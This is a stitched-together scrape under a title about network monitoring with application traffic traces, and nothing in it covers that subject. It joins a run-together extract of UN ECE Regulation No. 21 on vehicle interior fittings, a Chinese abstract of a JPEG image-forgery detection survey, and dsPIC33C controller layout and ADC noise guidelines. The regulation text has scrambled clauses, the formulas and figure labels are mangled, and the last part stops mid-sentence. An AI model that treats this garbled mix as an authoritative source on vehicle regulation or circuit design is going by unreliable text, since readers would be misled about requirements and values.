Using Passive Traces of Application Traffic in a Network Monitoring System

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ECE 21

E/ECE/324 )Rev.1/Add.20/Rev.2/Amend.2E/ECE/TRANS/505 )March 25, 2003STATUS OF UNITED NATIONS REGULATIONECE 21UNIFORM PROVISIONS CONCERNING THE APPROVAL OF:VEHICLES WITH REGARD TO THEIR INTERIOR FITTINGSIncorporating:Supplement 2 to the 01 series of amendments Date of Entry into Force: 18.01.98 Corr. 1 to the 01 series of amendments Date of Entry into Force: 08.03.00 Supplement 3 to the 01 series of amendments Date of Entry into Force: 31.01.03E/ECE/324 )Rev.1/Add.20/Rev.2/Amend.2E/ECE/TRANS/505 )March 25, 2003UNITED NATIONSAGREEMENTCONCERNING THE ADOPTION OF UNIFORM TECHNICAL PRESCRIPTIONS FOR WHEELED VEHICLES, EQUIPMENT AND PARTS WHICH CAN BE FITTED AND/OR BE USED ON WHEELED VEHICLES AND THE CONDITIONS FOR RECIPROCAL RECOGNITION OFAPPROVALS GRANTED ON THE BASIS OF THESE PRESCRIPTIONS (*)(Revision 2, including the amendments which entered into force on October 16, 1995)Addendum 20: Regulation No. 21Revision 2 — Amendment 2Supplement 3 to the 01 series of amendments - Date of entry into force: January 31, 2003UNIFORM PROVISIONS CONCERNING THE APPROVAL OF VEHICLES WITH REGARDTO THEIR INTERIOR FITTINGS(*)Former title of the Agreement:Agreement Concerning the Adoption of Uniform Conditions of Approval and Reciprocal Recognition of Approval for Motor Vehicle Equipment and Parts, done at Geneva on March 20, 1958.REGULATION No. 21UNIFORM PROVISIONS CONCERNING THE APPROVAL OF VEHICLES WITH REGARDTO THEIR INTERIOR FITTINGSCONTENTSREGULATION1. Scope2. Definitions3. Application for approval4. Approval5. Requirements6. Modifications and extension of approval of the vehicle type7. Conformity of production8. Penalties for non-conformity of production9. Production definitely discontinued10. Names and addresses of technical services responsible for conducting approval tests, and ofadministrative departmentsANNEXESAnnex 1 Determination of the Head-impact ZoneAnnex 2 Communication concerning the approval or extension or refusal or withdrawal of approval or production definitely discontinued of a vehicle type with regard to its interior fittings,pursuant to Regulation No. 21Annex 3 Arrangements of the approval marksAnnex 4 Procedure for testing energy-dissipating materialsAnnex 5 Procedure for determining the "H" point and the actual torso angle for seating positions in motor vehiclesAnnex 6 Method of measuring projectionsAnnex 7 Apparatus and procedure for application of Paragraph 5.2.1. of this regulationAnnex 8 Determination of a dynamically determined head impact zoneAnnex 9 Typical position of cylindrical test rod in the opening roof and window openingsAnnex 10 Explanatory notesREGULATION No. 21UNIFORM PROVISIONS CONCERNING THE APPROVAL OF VEHICLES WITH REGARDTO THEIR INTERIOR FITTINGS1. SCOPEThis Regulation applies to the interior fittings of vehicles of Category M1 with regard to:1.1the interior parts of the passenger compartment other than the rear-view mirror or mirrors; 1.2the arrangement of the controls;or opening roof, androof1.3 the1.4the seat-back and the rear parts of seats.1.5.power-operation of windows, roof panels and partition systems.2. DEFINITIONSFor the purpose of this Regulation,2.1"approval of a vehicle" means the approval of a vehicle type with regard to its interiorfittings;2.2."vehicle type" with regard to the interior fittings of the passenger compartment meansvehicles of Category M1 which do not differ in such essential respects as:2.2.1.the lines and constituent materials of the bodywork of the passenger compartment;2.2.2.the arrangement of the controls;2.2.3.the performance of the protective system, if the reference zone within the head impact zonedetermined according to Annex 8 (dynamic evaluation) is chosen by the applicant.2.2.3.1. Vehicles that differ only in the performance of the protective system(s) belong to the samevehicle type if they offer an equal or better protection for the occupants compared with thesystem or vehicle submitted to the technical service responsible for conducting the approvaltests.2.3."reference zone"is the head-impact zone as defined in Annex 1 to this Regulation, or atthe choice of the manufacturer, according to Annex 8, excluding the following areas: (seeAnnex 10, explanatory notes, Paragraphs 2.3. and 2.3.1.)2.3.1.the area bounded by the forward horizontal projection of a circle circumscribing the outerlimits of the steering control, increased by a peripheral band 127 mm in width; this area isbounded below by the horizontal plane tangential to the lower edge of the steering controlwhen the latter is in the position for driving straight ahead; (see Annex 10, explanatorynotes, Paragraphs 2.3. and 2.3.1.)2.3.2.the part of the surface of the instrument panel comprised between the edge of the areaspecified in Paragraph 2.3.1. above and the nearest inner side-wall of the vehicle; this partof the surface is bounded below by the horizontal plane tangential to the lower edge of thesteering control and; (see Annex 10, explanatory notes, Paragraphs 2.3. and 2.3.1.)2.3.3.the windscreen side pillars; (see Annex 10, explanatory notes, Paragraphs 2.3. and 2.3.1.) 2.4."level of the instrument panel" means the line defined by the points of contact of verticaltangents to the instrument panel; (see Annex 10, explanatory notes, Paragraph 2.4.)2.5."roof" means the upper part of the vehicle extending from the upper edge of thewindscreen to the upper edge of the rear window and bounded at the sides by the upperframework of the side-walls; (see Annex 10, explanatory notes, Paragraph 2.5.)2.6."belt line" means the line constituted by the transparent lower contour of the side windowsof the vehicle;2.7."convertible car" means a vehicle where, in certain configurations, there is no rigid part ofthe vehicle body above the belt line with the exception of the front roof supports and/or theroll-over bars and/or the seat belt anchorage points; (see Annex 10, explanatory notes,Paragraphs 2.5. and 2.7.)2.8."vehicle with opening roof" means a vehicle of which only the roof or part of it can befolded back or be opened, or may slide, leaving the existing structural elements of thevehicle above the belt line; (see Annex 10, explanatory notes, Paragraph 2.5.)2.9."folding (tip-up) seat" means an auxiliary seat intended for occasional use and which isnormally folded out of the way.system" means interior fittings and devices intended to restrain the occupants.2.10. "protective2.11. "type of a protective system" means a category of protective devices which do not differin such essential respects as:technology;2.11.1. their2.11.2. theirgeometry;2.11.3.their constituent materials.2.12. "power-operatedwindows" means windows which are closed by power supply of the vehicle.systems" means movable panels in the vehicle roof whichroof-panel2.13. "power-operatedare closed by power supply of the vehicle by either a sliding and/or tilting motion, and whichdo not include convertible top systems.systems" means systems which divide a passenger carpartition2.14. "power-operatedcompartment into at least two sections and which are closed using the power supply of thevehicle.2.15. "opening" is the maximum unobstructed aperture between the upper edge or leading edge,depending on the closing direction, of a power-operated window or partition or roof paneland the vehicle structure which forms the boundary of the window, partition or roof panel,when viewed from the interior of the vehicle or, in the case of partition system, from the rearpart of the passenger compartment.To measure an opening, a cylindrical test rod shall (without exerting force) be placedthrough it normally perpendicular to the edge of the window, roof panel or partition andperpendicular to the closing direction as shown in Figure 1 of Annex 9, from the interiorthrough to the exterior of the vehicle or, as applicable, from the rear part of the passengercompartment.2.16. "key"2.16.1."ignition key" means the device that operates the electric power supply necessary tooperate the engine or motor of the vehicle. This definition does not preclude a nonmechanical device.2.16.2."power key" means the device which allows power to be supplied to the power systems ofthe vehicle. This key may also be the ignition key. This definition does not preclude a nonmechanical device.2.17. "airbag" means a device installed to supplement safety belts and restraint systems inpower driven vehicles, i.e. systems which in the event of a severe impact affecting thevehicle automatically deploy a flexible structure intended to limit, by compression of the gascontained within it, the severity of the contacts of one or more parts of an occupant of thevehicle with the interior of the passenger compartment.2.18. A "sharp edge" is an edge of a rigid material having a radius of curvature of less than2.5 mm except in the case of projections of less than3.2 mm, measured from the panelaccording to the procedure described in Paragraph 1 of Annex 6. In this case, the minimumradius of curvature shall not apply provided the height of the projection is not more than halfits width and its edges are blunted (see Annex 10, explanatory notes, Paragraph 2.18.)3. APPLICATION FOR APPROVAL3.1.The application for approval of a vehicle type with regard to its interior fittings shall besubmitted by the vehicle manufacturer or by his duly accredited representative.3.2.It shall be accompanied by the undermentioned documents in triplicate and the followingparticulars:a detailed description of the vehicle type with regard to the items mentioned inParagraph 2.2. above, accompanied by a photograph or an exploded view of the passengercompartment. The numbers and/or symbols identifying the vehicle type shall be specified. 3.3.The following shall be submitted to the technical service responsible for conducting theapproval tests:3.3.1.at the manufacturer's discretion, either a vehicle representative of the vehicle type to beapproved or the part or parts of the vehicle regarded as essential for the checks and testsprescribed by this Regulation;3.3.2.at the request of the aforesaid technical service, certain components and certain samples ofthe materials used.4. APPROVAL4.1.If the vehicle type submitted for approval pursuant to this Regulation meets therequirements of Paragraph 5. below, approval of that vehicle type shall be granted.4.2.An approval number shall be assigned to each type approved. Its first two digits (at present01 corresponding to the 01 series of amendments which entered into force onApril 26, 1986) shall indicate the series of amendment incorporating the most recent majortechnical amendments made to the Regulation at the time of issue of the approval. Thesame Contracting Party may not assign the same number to another vehicle type.4.3.Notice of approval or of extension or refusal or of withdrawal of approval or productiondefinitely discontinued of a vehicle type pursuant to this Regulation shall be communicatedto the Parties to the Agreement which apply this Regulation by means of a form conformingto the model in Annex 2 to this Regulation.4.4.There shall be affixed, conspicuously and in a readily accessible place specified on theapproval form, to every vehicle conforming to a vehicle type approved under this Regulation,an international approval mark consisting of:4.4.1. a circle surrounding the Letter "E" followed by the distinguishing number of the countrywhich has granted approval; (1)4.4.2.the number of this Regulation, followed by the Letter "R", a dash and the approval numberto the right of the circle prescribed in Paragraph 4.4.1. above.4.5.If the vehicle conforms to a vehicle type approved, under one or more other Regulationsannexed to the Agreement, in the country which has granted approval under thisRegulation, the symbol prescribed in Paragraph 4.4.1. need not be repeated; in such acase, the regulation and approval numbers and the additional symbols of all the Regulationsunder which approval has been granted in the country which has granted approval underthis Regulation shall be placed in vertical columns to the right of the symbol prescribed inParagraph 4.4.1. above.4.6.The approval mark shall be clearly legible and be indelible.4.7.The approval mark shall be placed close to or on the vehicle data plate affixed by themanufacturer.4.8.Annex 3 to this Regulation gives examples of arrangement of the approval marks.5. REQUIREMENTS5.1.Forward interior parts of the passenger compartment above the level of the instrument panelin front of the front seat "H" points, excluding the side doors.5.1.1.The reference zone defined in Paragraph 2.3. above shall not contain any dangerousroughness or sharp edges likely to increase the risk of serious injury to the occupants. If thehead impact area is determined according to Annex 1, the parts referred to in Paragraphs5.1.2. to 5.1.6. below shall be deemed satisfactory if they comply with the requirements ofthose paragraphs. If the head impact area is determined according to Annex 8, therequirements of Paragraph 5.1.7. shall apply (see Annex 10, explanatory notes,Paragraph 5.1.1.)(1)1 for Germany,2 for France,3 for Italy,4 for the Netherlands,5 for Sweden,6 for Belgium,7 for Hungary,8 for the CzechRepublic, 9 for Spain, 10 for Yugoslavia, 11 for the United Kingdom, 12 for Austria, 13 for Luxembourg, 14 for Switzerland,15 (vacant), 16 for Norway, 17 for Finland, 18 for Denmark, 19 for Romania, 20 for Poland, 21 for Portugal, 22 for theRussian Federation, 23 for Greece, 24 for Ireland, 25 for Croatia, 26 for Slovenia, 27 for Slovakia, 28 for Belarus, 29 for Estonia, 30 (vacant), 31 for Bosnia and Herzegovina, 32 for Latvia, 33 (vacant), 34 for Bulgaria, 35-36 (vacant), and 37 for Turkey, 38-39 (vacant), 40 for The former Yugoslav Republic of Macedonia, 41 (vacant), 42 for the European Community (Approvals are granted by its Member States using their respective ECE symbol), 43 for Japan, 44 (vacant), 45 for Australia and 46 for Ukraine. Subsequent numbers shall be assigned to other countries in the chronological order in which they ratify or accede to the Agreement concerning the Adoption of Uniform Technical Prescriptions for Wheeled Vehicles, Equipment and Parts which can be Fitted and/or be Used on Wheeled Vehicles and the Conditions for Reciprocal Recognition of Approvals Granted on the Basis of these Prescriptions, and the numbers thus assigned shall be communicated by the Secretary-General of the United Nations to the Contracting Parties to the Agreement5.1.2.Vehicle parts within the reference zone with the exception of those which are not part of theinstrument panel and which are placed at less than 10 cm from glazed surfaces shall beenergy-dissipating, as prescribed in Annex 4 to this Regulation. Those parts within thereference zone which satisfy both of the following conditions shall also be excluded fromconsideration if: (see Annex 10, explanatory notes, Paragraph 5.1.2.)5.1.2.1. during a test in accordance with the requirements of Annex 4 of this Regulation, thependulum makes contact with parts outside the reference zone; and5.1.2.2. parts to be tested are placed less than 10 cm away from the parts contacted outside thereference zone, this distance being measured on the surface of the reference zone;any metal support fittings shall have no protruding edges.5.1.3.The lower edge of the instrument panel shall, unless it meets the requirements ofParagraph 5.1.2. above, be rounded to a radius of curvature of not less than 19 mm. (seeAnnex 10, explanatory notes, Paragraph 5.1.3.)5.1.4.Switches, pull-knobs and the like, made of rigid material which, measured in accordancewith the method prescribed in Annex 6, project from 3.2 mm to 9.5 mm from the panel shallhave a cross sectional area of not less than 2 cm2, measured 2.5 mm from the pointprojecting furthest and shall have rounded edges with a radius of curvature of not less than2.5 mm. (see Annex 10, explanatory notes, Paragraph 5.1.4.)5.1.5.If these components project more than 9.5 mm from the surface of the instrument panel,they shall be so designed and constructed as to be able, under the effect of a longitudinalhorizontal force of 37.8 daN delivered by a flat-ended ram of not more than 50 mmdiameter, either to retract into the surface of the panel until they do not project by more than9.5 mm or to become detached; in the latter case, no dangerous projections of more than9.5 mm shall remain; a cross-section of not more than 6.5 mm from the point of maximumprojection shall be not less than 6.5 cm2 in area. (see Annex 10, explanatory notes,Paragraph 5.1.5.)5.1.6.In the case of a projection comprising a component made of non-rigid material of less than50 shore A hardness mounted on a rigid support, the requirements of Paragraphs 5.1.4. and5.1.5. shall apply only to the rigid support or it shall be demonstrated by sufficient testsaccording to the procedure described in Annex 4 that the soft material of less than 50 shoreA hardness will not be cut so as to contact the support during the specified impact test. Inthat case the radius requirements shall not apply (see Annex 10, explanatory notes,Paragraph 5.1.6.).5.1.7.The following Paragraphs shall apply:5.1.7.1. If the protective system of the vehicle type cannot prevent head contacts of the occupantsdefined in Paragraph 1.2.1. of Annex 8 with the instrument panel, and a dynamic referencezone according to Annex 8 is determined, the requirements of Paragraphs 5.1.2. to 5.1.6.are applicable only to the parts located in that zone.Parts in other areas of the dashboard above the level of the instrument panel, if contactableby a 165 mm diameter sphere, shall be at least blunted.5.1.7.2. If the protective system of the vehicle type is able to prevent head contacts of the occupantsdefined in Paragraph 1.2.1. of Annex 8 with the instrument panel and therefore no referencezone can be determined, the requirements of Paragraphs 5.1.2. to 5.1.6. are not applicableto this vehicle type.Parts of the dashboard above the level of the instrument panel, if contactable by a 165 mmdiameter sphere, shall be at least blunted.5.2.Forward interior parts of the passenger compartment below the level of the instrument paneland in front of the front seat "H" points, excluding the side doors and the pedals5.2.1.Except for the pedals and their fixtures and those components that cannot be contacted bythe device described in Annex 7 to this Regulation and used in accordance with theprocedure described therein, components covered by Paragraph 5.2., such as switches, theignition key, etc. shall comply with the requirements of Paragraphs 5.1.4. to 5.1.6.5.2.2.The handbrake control, if mounted on or under the instrument panel, shall be so placed thatwhen it is in the position of rest there is no possibility of the occupants of the vehicle strikingagainst it in the event of a frontal impact. If this condition is not met, the surface of thecontrol shall satisfy the requirements of Paragraph 5.3.2.3. below. (see Annex 10,explanatory notes, Paragraph 5.2.2.)5.2.3.Shelves and other similar items shall be so designed and constructed that the supports inno case have protruding edges, and they shall meet one or other of the following conditions:(see Annex 10, explanatory notes, Paragraph 5.2.3.)5.2.3.1. The part facing into the vehicle shall present a surface not less than 25 mm high with edgesrounded to a radius of curvature of not less than 3.2 mm. This surface shall consist of or becovered with an energy-dissipating material, as defined in Annex 4 of this Regulation, andshall be tested in accordance therewith, the impact being applied in a horizontal longitudinaldirection. (see Annex 10, explanatory notes, Paragraph 5.2.3.1.)5.2.3.2. Shelves and other similar items shall, under the effect of a forward-acting horizontallongitudinal force of 37.8 daN exerted by a cylinder of 110 mm diameter with its axis vertical,become detached, break up, be substantially distorted or retract without producingdangerous features on the rim of the shelf. The force must be directed at the strongest partof the shelves or other similar items. (see Annex 10, explanatory notes, Paragraph 5.2.3.2.) 5.2.4.If the items in question contain a part made of material less than 50 shore A hardness whenfitted to a rigid support, the above requirements, except for the requirements covered byAnnex 4 relating to energy-absorption, shall apply only to the rigid support or it can bedemonstrated by sufficient tests according to the procedure described in Annex 4 that thesoft material of less than 50 shore A hardness will not be cut so as to contact the supportduring the specified impact test. In that case the radius requirements shall not apply.5.3.Other interior fittings in the passenger compartment in front of the transverse plane passingthrough the torso reference line of the manikin placed on the rearmost seats (see Annex 10,explanatory notes, Paragraph 5.3.)5.3.1. ScopeThe requirements of Paragraph 5.3.2. below apply to control handles, levers and knobs andto any other protruding objects not referred to in Paragraphs 5.1. and 5.2. above. (See alsoParagraph 5. 3. 2. 2.)5.3.2. RequirementsIf the items referred to in Paragraph 5.3.1. above are so placed that occupants of the vehiclecan contact them, they shall meet the requirements of Paragraphs 5.3.2.1. to 5.3.4. If theycan be contacted by a 165 mm diameter sphere and are above the lowest "H" point (seeAnnex 5 of this Regulation) of the front seats and forward of the transverse plane of thetorso reference line of the manikin on the rearmost seat, and outside the zones defined inParagraphs 2.3.1. and 2.3.2., these requirements shall be considered to have beenfulfilled if: (see Annex 10, explanatory notes, Paragraph 5.3.2.)terminates in rounded edges, the radii of curvature being not less than 3.2 mm;5.3.2.1. theirsurface(see Annex 10, explanatory notes, Paragraph 5.3.2.1.)5.3.2.2. control levers and knobs shall be so designed and constructed that, under the effect of aforward acting longitudinal horizontal force of 37.8 daN either the projection in its mostunfavourable position is reduced to not more than 25 mm from the surface of the panel orthe said fittings become detached or bent; in the two latter cases no dangerous projectionsshall remain. Window winders may, however, project 35 mm from the surface of the panel;(see Annex 10, explanatory notes, Paragraph 5.3.2.2.)5.3.2.3. the handbrake control, when in the released position, and the gear lever, when in anyforward gear position, have, except when placed in the zones defined in Paragraphs 2.3.1.and 2.3.2. and in the zones below the horizontal plane passing through the "H" point of thefront seats, a surface area of not less than 6.5 cm2 measured at a cross-section normal tothe longitudinal horizontal direction up to a distance of 6.5 mm from the part projectingfurthest, the radius of curvature being not less than 3.2 mm. (see Annex 10, explanatorynotes, Paragraph 5.3.2.3.)5.3.3The requirements in Paragraph 5.3.2.3. shall not apply to a floor-mounted handbrakecontrol; for such controls, if the height of any part in the released position is above ahorizontal plane passing through the lowest "H" point of the front seats (see Annex 5 of thisRegulation) the control shall have a cross sectional area of at least 6.5 cm2 measured in ahorizontal plane not more than 6.5 mm from the furthest projecting part (measured in thevertical direction). The radius of curvature shall not be less than 3.2 mm.5.3.4.The other elements of the vehicle's equipment not covered by the above paragraph, such asseat slide rails, devices for regulating the horizontal or vertical part of the seat, devices forrolling up safety belts, etc. are not subject to any regulation if they are situated below ahorizontal line passing through the "H" point of each seat even though the occupant is likelyto come into contact with such elements. (see Annex 10, explanatory notes,Paragraph 5.3.4.)5.3.4.1. Components mounted on the roof, but which are not part of the roof structure, such as grabhandles, lamps and sun visors, etc. shall have a radius of curvature not less than3.2 mm. In addition, the width of the projecting parts shall not be less than the amount oftheir downward projection; alternatively, these projecting parts shall pass theenergy-dissipating test in accordance with the requirements of Annex 4. (see Annex 10,explanatory notes, Paragraph 5.3.4.1.)5.3.5.If the parts considered above comprise a component made of material of less than50 shore A hardness, mounted on a rigid support, the above requirements shall apply onlyto the rigid support or it can be demonstrated by sufficient tests according to the proceduredescribed in Annex 4 that the soft material of less than 50 shore A hardness will not be cutso as to contact the support during the specified impact test. In that case the radiusrequirements shall not apply.5.3.6.In addition, power operated windows and partition systems and their controls shall meet therequirements of Paragraph 5.8. below.5.4. Roof (see Annex 10, explanatory notes, Paragraph 5.4.)5.4.1. Scope5.4.1.1. The requirements of Paragraph 5.4.2. below apply to the inner face of the roof.5.4.1.2. However, they do not apply to such parts of the roof as cannot be touched by a sphere165 mm in diameter.5.4.2. Requirements5.4.2.1. That part of the inner face of the roof which is situated above or forward of the occupantsshall exhibit no dangerous roughness at sharp edges, directed rearwards ordownwards. The width of the projecting parts shall not be less than the amount of theirdownward projection and the edges shall have a radius of curvature of not less than5 mm. In particular, the rigid roof sticks or ribs, with the exception of the header rail of theglazed surfaces and door frames, shall not project downwards more than 19 mm. (seeAnnex 10, explanatory notes, Paragraph 5.4.2.1.)5.4.2.2. If the roof sticks or ribs do not meet the requirements of Paragraph 5.4.2.1. they shall passthe energy-dissipating test in accordance with the requirement of Annex 4 to thisRegulation.5.4.2.3. The metal wires which stretch the lining of the roof and the frames of the sun visors shallhave a maximum diameter of 5 mm or be able to absorb the energy, as prescribed inAnnex 4 to this Regulation. Non-rigid attachment elements of the frames of the sun visorsshall meet the requirements of Paragraph 5.3.4.1. above.。

JPEG图像篡改检测研究文献综述

JPEG图像篡改检测研究摘要：介绍了数字图像盲取证的相关概念，总结了国内外JPEG图像篡改检测方面的研究成果，并探讨了本领域存在的问题和未来的发展趋势。

关键词：数字图像盲取证；JPEG图像；篡改检测A Survey of the detection of JPEG image forgeryAbstract:This paper introduces the related concepts about digital image blind forensics, and analyses the research achievements of the currente status of the detection of JPEG image forgery. We also ivestigate the main problems existing in current research field and urgent topics for future research.Key W ord: digital image passive forensics; JPEG image; forgery detecting1 引言随着互联网技术的快速发展，越来越多的图像编辑和处理软件如Photoshop、ACD-See、iPhoto等的广泛使用，使得编辑、修改和存储数码照片变得越来越简单。

虽然它在一定程度上丰富了人们的日常生活，但是，图像的修改也带来了许多问题。

如果将篡改图像用在新闻媒体或法律上，对社会将会造成很大的影响。

面对日益严峻的信任危机，迫切需要行之有效的数字图像取证技术，对图像的篡改、伪造和隐秘性进行分析、鉴别和认证，辅助人们鉴定数字图像的真实性。

数字图像的真实性取证方法大体可分为三类[1]：脆弱水印(Fragile Watermarking)方法，数字签名(Digital Signature)方法，被动取证(Passive Authentication)方法。

dsPIC33C数字信号控制器设计指南说明书

A Leading Provider of Smart, Connected and Secure Embedded Control SolutionsdsPIC33C Digital Signal ControllerDesign GuidelinesdsPIC33C Digital Signal ControllersGeneric Robust GuidelineRobustness features on dsPIC33C DSCs•Internal regulator is Capacitor-less design•No need of an external capacitor, no noise injection from the board•Saves space on the board for routing•Lower component count, lower cost•One extra I/O pin•Virtual Pins for Redundancy and Monitoring : Dual core device feature to cross check/monitor •Flash ECC (Error Correcting Code):Flash Error check with 1-bit detection/correction & 2-bit detection •DMT (Deadman Timer) : Instruction cycle counting and could be used as a SW checkpoint•WDT (Watchdog Timer) : For system recovery•CodeGuard™Security : For code protection schemes•CRC (Cyclic Redundancy Check) : For code validation•Two-Speed Start-up : For slow start up from power on, reduce inrush current•Fail-Safe Clock Monitoring : Clock monitor and switch•Backup FRC (BFRC) : Backup for the FRC clock•AEC-Q100 REVG (Grade 0: -40°C to +150°C) Compliant : Automotive QualDecoupling Capacitor•For wide frequency noise filtering, provide multiple decoupling capacitors (e.g.0.01uF,0.1uF) across supply pins of dsPIC33C DSC •When multiple capacitors are provided, place them in ascending order of their value with lowest value capacitor closest to the dsPIC33C pin •Provide decoupling capacitors between each VDD/GND pair of the dsPIC33C DSC •Place decoupling capacitors close to VDD and GND pin pairs of the dsPIC33C DSC•Connect dsPIC33C DSC pin and capacitor pads using shorter directtraces without any vias between them•Also connect decoupling capacitor between AVDD and AGNDusing shorter tracesDecoupling Caps :AVDD -AGND Decoupling Caps : DVDD -DGNDOscillator and MCLR•Place crystal oscillator close to OSCI/OSCO pins ofthe dsPIC33C DSC and connect it using short directtraces avoiding vias•Provide isolated ground plane under the crystal,connect this ground Isle to Board Ground•Avoid any high-speed signals running near theoscillator circuit•Add series resistor between reset pushbutton andMCLR pin of the dsPIC33C DSCsCurrent feedbacksFrom shunt to amplifier inputs•Use Kelvin sensing –take separate tracesfrom pads of the shunt resistor forconnecting to amplifier input resistors•Take the current feedbacks traces fromshunt resistor as differential pair runningparallel across the board until it isconnected to amplifier input resistors(which are placed closer to amplifierpositive and negative input pins)Ground Connection Analog and Digital Ground•Separate the ground of digital circuits, analog circuits ,high speed circuit, high current circuit etc.•The separated ground must be connected only at supply start point which is closer to the 3.3V LDO (dsPIC33C DSC Supply)•In case of multilayer board, dedicate at least one internal layer for grounds. Try to provide solid ground plane avoiding any cuts •To do this , it is necessary to identify the components that connect to specific ground and place them close to each other in specific area of the boardExample :Solid internal AnalogGround(AGND) planejoining at LDO ground.Digital Ground (DGND) trace Analog Ground (AGND) traceAGND and DGND are joined at one point near the source using net tie.Low Noise GuidelineWeak Spot ADCAnalog-To-Digital Converter Circuit•Increasing CPU speed with shrinking structure sizes result in an increased sensitivity to noise•CPU load transient frequencies stimulate passive/reactive circuits formed by parasitic RLC resonators (PCB)•Digital high-speed peripherals add to noise level•In control applications, the ADC is the most sensitive element and provides the guiding value for noise budget estimations •Power Electronics Control Applications are most sensitive to ADC accuracy•Limited Resolution limits dynamic range of control loop •Noise on feedback signal reproduces on ADC results •Noise on supply lines influences internal references •Faster ADCs generate more noise within the internal, analog circuit DIGITIZEDBLOCK ADC Power Stage(Plant)Error Amplifier +–PWM (Modulator)VoltageDividerREF V ERROR REF OUT V V K V =−⋅EA V D K OUTV INVNoise BudgetHow much noise is acceptable?•Determine maximum acceptable voltage deviation •The most system element influencing the most sensitive parameter of the product determines the acceptance level •In power conversion, this is output voltage / output current accuracy and response characteristic •Both highly depend on reliable ADC results Power ConverterCircuitV IN V OUTADC REF V FBerror+-H C z(Compensator)outputinput Anti-WindupPWMNoise Budget –Potential Noise SourcesHow much noise is acceptable?•Noise can influence the ADC through 3 major ports•(A) Feedback Noise via Input Pin •(B) Ground Noise / Bouncing•(C) Reference Voltage derived from Supply Voltage•Noise can inject•Alias frequencies•Random, erroneous samples•Decrease effective ADC resolution•Maximum acceptable noise levels are application dependent and need to be derived individuallyV FBV F B (t ) ± VTimeFeedbackV o u t [n ]n →InputCLOCKAVSSAVDDV REFABCThree Major Noise PortsADCAlias Frequencies•Random noise on feedback signals are relatively uncritical•Periodic noise components exceeding the minimum ADC granularity may influence ADC results •If these are at around or higher than f SAM /2, alias-frequencies may be injected•High-speed ADCs with very small Sample & Hold (S&H)•Capacitance and short sampling times are getting increasingly sensitive to periodic noise on feedback signals •Once alias frequencies have been injected in the data stream, they may influence the control system.•Recommended to add anti-alias filters to input pins, tuned for the effective sampling frequency of the application while still allowing relevant transients to pass.-1.5-1-0.500.511.504590135180225270315360Waveform Sampled at f NFeedback Sampled InputM a g n i t u d ef SAM 2f SAM70k H z40k H z30k H z 25k H z 10k H z160k H z510k H zI n p u t F r e q u e n c yI n p u t F r e q u e n c yI n p u t F r e q u e n c yAnti-Alias Filter DesignAdjustment of anti-alias cut-off frequencies need to consider the internal ADC architecture to prevent excessive ADC result deviations•Shared ADC CoresADC cores with multiple analog input pins (ANx) connect the single S&H capacitor to the pin via multiplexers. To prevent cross-talkbetween input channels, the S&H capacitor needs to be discharged before connection. When connected, the S&H capacitor needsenough time to charge up to the feedback voltage level to achievean accurate result.•Dedicated ADC CoresDedicated cores continuously keep their S&H connected to the pin, tracking the feedback voltage. The connection is only opened during conversion and closed when conversion has completedADCV FB*V FBCAnti-Alias Filter Design / Shared ADC Core•Step 1: Decoupling Capacity•During sampling using the shared ADC core, the discharged S&H capacitor C HOLD is connected to the feedback circuit. C HOLD is charged through R SS and R IC (~350 W ). The high charging current right after SW SS is closed injects a fast transient into the feedback line. Depending on the distance between the voltage divider and the device input pin, the parasitic trace inductance might prevent to bias this inrush current. Hence, this current is exclusively biased by decoupling capacitor C , eventually forming a capacitive voltage divider with C HOLD . As a result, the final sampling voltage will always settle below the real feedback voltage V FB introducing a measurement error ofError = 1−C HOLD C(first assessment of the static offset)•Software adjustable sampling times allow accounting for and thus minimizing these effects which, however , increases the data acquisitionlatency. For high-speed designs it is therefore recommended to minimize the static error by placing enough capacitance as close as possible at the ADC input pin (recommended value = 30…50 x C HOLD ).V FB *V FBCRV OUTC PINC HOLDV DDR ICR SSSampling Switch I LEAKAGESL TRACEParasitic Trace InductanceC DR BSW SSAnti-Alias Filter Design / Shared ADC Core•Step 2: Filter Resistor•Peak-to-Peak voltage levels of periodic noise should be limited to the voltage equivalent of approx. 3 LSB. At V REF = 3.3V and 12-bit resolution the ADC has a total granularity of 806 µV/tick. 3 LSB therefore have a voltage equivalent of 6.44 mV . The total acceptable level,however , depends on the total feedback signal range and needs to be calculated for every application individually.Example:•A signal is sampled at f SAM = 500 kHz (Nyquist-Shannon limit at f N = 250 kHz). A dominant, periodic noise component f Noise = 1000 kHz with a max. deviation of V Noise pk-pk = 60mV is observed. To prevent alias frequencies being injected into the ADC data stream, this noise needs to be damped to less than 6.44 V @ f N .(-20dB @ f N = 6 mV). The pole introduced by the RC filter therefore needs to be placed one magnitude below f N (=25 kHz) to effectively damp the noise magnitude at f N by factor 10.V FB *V FBCRV OUTC PINC HOLDV DDDistance XR ICR SSSampling SwitchI LEAKAGESL TRACEParasitic Trace InductanceC DR AR BSW SSAnti-Alias Filter Design / Shared ADC Core•Step 3: Recharging Decoupling Capacitor C•After the sampling transient has passed, decoupling capacitor C needs to be recharged up to the feedback level for the next sample. With high resistive voltage divider networks, it is recommended to place an additionaldecoupling capacitor in parallel to the lower voltage divider resistor. This capacitor also helps to compensate the parasitic trace inductance L TRACE . At high sampling frequencies hand high resistive voltage dividers an operational amplifier might be required to recharge C in time for the next sample.V FB *V FBCRV OUTC PINC HOLDV DDDistance XR ICR SSSampling Switch I LEAKAGESL TRACEParasitic Trace Inductance C DR AR BSW SSAnti-Alias Filter Design / Shared ADC Core•Design Tip:•Power electronics designs are commonly noisy as the circuit itself produces noise over a very wide frequency range up to manyGHz. Dominant noise bands in the range of 8-15 MHz caused by Diode ringing as well as harmonics of the switching frequency are sometimes difficult to contain and might be induced in feedback lines. The magnitude of the induced noise is independent from the voltage level present.•Hence, it is recommended to place the voltage divider close to the device, minimizing Distance X as well as the parasitic trace inductance L TRACE . Especially, however, preventing noise from being induced in low voltage signals. Noise induced on high voltage signals will get divided with the feedback signal and will therefore have lower amplitudes requiring less damping and thus expanding the maximum bandwidth of the feedback signal.V FB *V FBCRV OUTC PINC HOLDV DDR ICR SSSampling Switch I LEAKAGESL TRACEParasitic Trace Inductance C DR AR BSW SSNoise Budget –Potential Noise SourcesHow much noise is acceptable?•In addition to adjust noise filtering on feedback signals, it is required to analyze the noise floor on supply and ground lines•The ADC uses a reference voltage, which is derived from the supply voltage•Noise on this supply rail can influence the reference level during a conversion process, equally perturbing ADC results as sampling noisy signals.•Supply rain noise can enter the system through VDD as well as through VSSV FBB (t ) ± VFeedbackV o u t [n ]n →InputCLOCKAVSSAVDDV REFABCADCSymmetrical Layout•The CPU itself is a potential noise hub in the system. Each instruction executed by the CPU will create a load step with low amplitude but high edge 